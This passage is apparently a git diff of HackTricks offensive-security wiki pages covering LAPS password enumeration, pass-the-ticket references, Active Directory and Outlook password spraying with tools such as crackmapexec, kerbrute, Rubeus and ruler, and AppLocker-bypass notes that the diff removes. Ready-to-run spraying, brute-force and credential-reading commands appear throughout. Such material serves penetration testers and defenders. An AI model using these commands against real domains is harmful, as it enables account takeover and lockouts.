[**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -20,7 +16,7 @@ **LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES. -When using LAPS, 2 new attributes appear in the computer objects of the domain: _ms-msc-AdmPwd_ and _ms-mcs-AdmPwdExpirationTime._ These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes. +When using LAPS, **2 new attributes** appear in the **computer** objects of the domain: **`ms-msc-AdmPwd`** and **`ms-mcs-AdmPwdExpirationTime`**_._ These attributes contains the **plain-text admin password and the expiration time**. Then, in a domain environment, it could be interesting to check **which users can read** these attributes. ### Check if activated @@ -74,7 +70,35 @@ Get-AdmPwdPassword -ComputerName wkstn-2 | fl Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd ``` -Finally, [**LAPSToolkit**](https://github.com/leoloobeek/LAPSToolkit) **can also be useful for the same purpose.** +### LAPSToolkit + +The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilitates the enumeration of LAPS this with several functions.\ +One is parsing **`ExtendedRights`** for **all computers with LAPS enabled.** This will show **groups** specifically **delegated to read LAPS passwords**, which are often users in protected groups.\ +An **account** that has **joined a computer** to a domain receives `All Extended Rights` over that host, and this right gives the **account** the ability to **read passwords**. Enumeration may show a user account that can read the LAPS password on a host. This can help us **target specific AD users** who can read LAPS passwords. + +```powershell +# Get groups that can read passwords +Find-LAPSDelegatedGroups + +OrgUnit Delegated Groups +------- ---------------- +OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins +OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin + +# Checks the rights on each computer with LAPS enabled for any groups +# with read access and users with "All Extended Rights" +Find-AdmPwdExtendedRights +ComputerName Identity Reason +------------ -------- ------ +MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated +MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated + +# Get computers with LAPS enabled, expirations time and the password (if you have access) +Get-LAPSComputers +ComputerName Password Expiration +------------ -------- ---------- +DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41 +``` ## **LAPS Persistence** @@ -105,14 +129,10 @@ Then, just compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\T Support HackTricks and get benefits! -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** diff --git a/windows-hardening/active-directory-methodology/pass-the-ticket.md b/windows-hardening/active-directory-methodology/pass-the-ticket.md index ca8a9570c..1721d52ae 100644 --- a/windows-hardening/active-directory-methodology/pass-the-ticket.md +++ b/windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -59,6 +59,10 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket ``` {% endcode %} +## References + +* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) + **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions. diff --git a/windows-hardening/active-directory-methodology/password-spraying.md b/windows-hardening/active-directory-methodology/password-spraying.md index 5f4fffdaa..4b6a5e757 100644 --- a/windows-hardening/active-directory-methodology/password-spraying.md +++ b/windows-hardening/active-directory-methodology/password-spraying.md @@ -4,15 +4,11 @@ Support HackTricks and get benefits! -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** @@ -27,37 +23,74 @@ Notice that you **could lockout some accounts if you try several wrong passwords ### Get password policy -If you have some user credentials or a shell as a domain user you can get the password policy with: +If you have some user credentials or a shell as a domain user you can **get the password policy with**: -* `crackmapexec -u 'user' -p 'password' --pass-pol` -* `enum4linx -u 'username' -p 'password' -P ` -* `(Get-DomainPolicy)."SystemAccess" #From powerview` +```bash +# From Linux +crackmapexec -u 'user' -p 'password' --pass-pol -### Exploitation +enum4linx -u 'username' -p 'password' -P -Using **crackmapexec:** +rpcclient -U "" -N 10.10.10.10; +rpcclient $>querydominfo + +ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength + +# From Windows +net accounts + +(Get-DomainPolicy)."SystemAccess" #From powerview +``` + +### Exploitation from Linux (or all) + +* Using **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt +# Local Auth Spray (once you found some local admin pass or hash) +## --local-auth flag indicate to only try 1 time per machine +crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -Using [kerbrute](https://github.com/TarlogicSecurity/kerbrute)(python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK +* Using [**kerbrute**](https://github.com/ropnop/kerbrute) **** (Go) + +```bash +# Password Spraying +./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 +# Brute-Force +./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman +``` + +* [_**spray**_](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_ + +```bash +spray.sh -smb +``` + +* Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -**Kerbrute** also tells if a username is valid. +* With the `scanner/smb/smb_login` module of **Metasploit**: -Using [kerbrute](https://github.com/ropnop/kerbrute)(Go) +![](<../../.gitbook/assets/image (132) (1).png>) + +* Using **rpcclient**: ```bash -./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123 -./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman +# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ +for u in $(cat users.txt); do + rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; +done ``` -With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module: +#### From Windows + +* With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module: ```bash # with a list of users @@ -67,31 +100,21 @@ With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module: .\Rubeus.exe brute /passwords: /outfile: ``` -With the `scanner/smb/smb_login` module of Metasploit: +* With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it): -![](<../../.gitbook/assets/image (132) (1).png>) - -With [Invoke-DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) - -```bash +```powershell Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` -or **spray** (read next section). +* With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)**** -### Lockout check - -The best way is not to try with more than 5/7 passwords per account. - -So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use [_**spray**_](https://github.com/Greenwolf/Spray)_**:**_ - -```bash -spray.sh -smb +``` +Invoke-SprayEmptyPassword ``` ## Outlook Web Access -There are multiples tools for password spraying outlook. +There are multiples tools for p**assword spraying outlook**. * With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/) * with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/) @@ -102,25 +125,25 @@ There are multiples tools for password spraying outlook. To use any of these tools, you need a user list and a password / a small list of passwords to spray. ```bash -$ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose +./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 [x] Failed: cube0x0:Summer2020 [x] Failed: a.admin:Summer2020 [x] Failed: c.cube:Summer2020 [+] Success: s.svensson:Summer2020 - [x] Failed: s.sven:Summer2020 - [x] Failed: j.jenny:Summer2020 - [x] Failed: t.teresa:Summer2020 - [x] Failed: t.trump:Summer2020 - [x] Failed: a.adams:Summer2020 - [x] Failed: l.larsson:Summer2020 - [x] Failed: CUBE0X0:Summer2020 - [x] Failed: A.ADMIN:Summer2020 - [x] Failed: C.CUBE:Summer2020 - [+] Success: S.SVENSSON:Summer2020 ``` -## References : +## Google + +* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) + +## Okta + +* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) +* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) +* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) + +## References * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) * [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) @@ -131,14 +154,10 @@ $ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords pass Support HackTricks and get benefits! -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** diff --git a/windows-hardening/windows-local-privilege-escalation/README.md b/windows-hardening/windows-local-privilege-escalation/README.md index 119b908bd..4268de8d1 100644 --- a/windows-hardening/windows-local-privilege-escalation/README.md +++ b/windows-hardening/windows-local-privilege-escalation/README.md @@ -40,6 +40,14 @@ [integrity-levels.md](integrity-levels.md) {% endcontent-ref %} +## Windows Security Controls + +There are different things in Windows that could **prevent you from enumerating the system**, run executables or even **detect your activities**. You should **read** the following **page** and **enumerate** all these **defenses** **mechanisms** before starting the privilege escalation enumeration: + +{% content-ref url="../authentication-credentials-uac-and-efs.md" %} +[authentication-credentials-uac-and-efs.md](../authentication-credentials-uac-and-efs.md) +{% endcontent-ref %} + ## System Info ### Version info enumeration @@ -347,54 +355,6 @@ reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -### AV - -Check is there is any anti virus running: - -```bash -WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more -Get-MpComputerStatus -``` - -### AppLocker Policy - -Check which files/extensions are blacklisted/whitelisted. - -```powershell -Get-ApplockerPolicy -Effective -xml -Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections -$a = Get-ApplockerPolicy -effective -$a.rulecollections -``` - -AppLocker rules applied to a host can also be read from the local registry at `HKLM\Software\Policies\Microsoft\Windows\SrpV2`. - -**Useful Writable folders to bypass AppLocker Policy** - -``` -C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys -C:\Windows\System32\spool\drivers\color -C:\Windows\Tasks -C:\windows\tracing -``` - -Commonly trusted [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries can be also useful to bypass AppLocker. - -**Poorly written rules could also be bypassed**, like ``, you can create a folder called allowed anywhere and it will be allowed. - -**DLL enforcement very rarely enabled** due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break. So using DLLs as backdoors will help bypassing AppLocker. - -You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass AppLocker. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). - -### UAC - -UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user.\ -[**More information about UAC here**](../authentication-credentials-uac-and-efs.md#uac). - -``` - reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ -``` - ## Users & Groups ### Enumerate Users & Groups @@ -1471,7 +1431,17 @@ while($true) ## From Administrator Medium to High Integrity Level / UAC Bypass -[**Read this to learn about Integrity Levels**](integrity-levels.md) **and** [**this to learn what is UAC**](../authentication-credentials-uac-and-efs.md#uac)**, then read how to**[ **bypass it**](../authentication-credentials-uac-and-efs.md#uac)**.** +Read this to **learn about Integrity Levels**: + +{% content-ref url="integrity-levels.md" %} +[integrity-levels.md](integrity-levels.md) +{% endcontent-ref %} + +Then **read this to learn about UAC and UAC bypasses:** + +{% content-ref url="../windows-security-controls/uac-user-account-control.md" %} +[uac-user-account-control.md](../windows-security-controls/uac-user-account-control.md) +{% endcontent-ref %} ## **From High Integrity to System**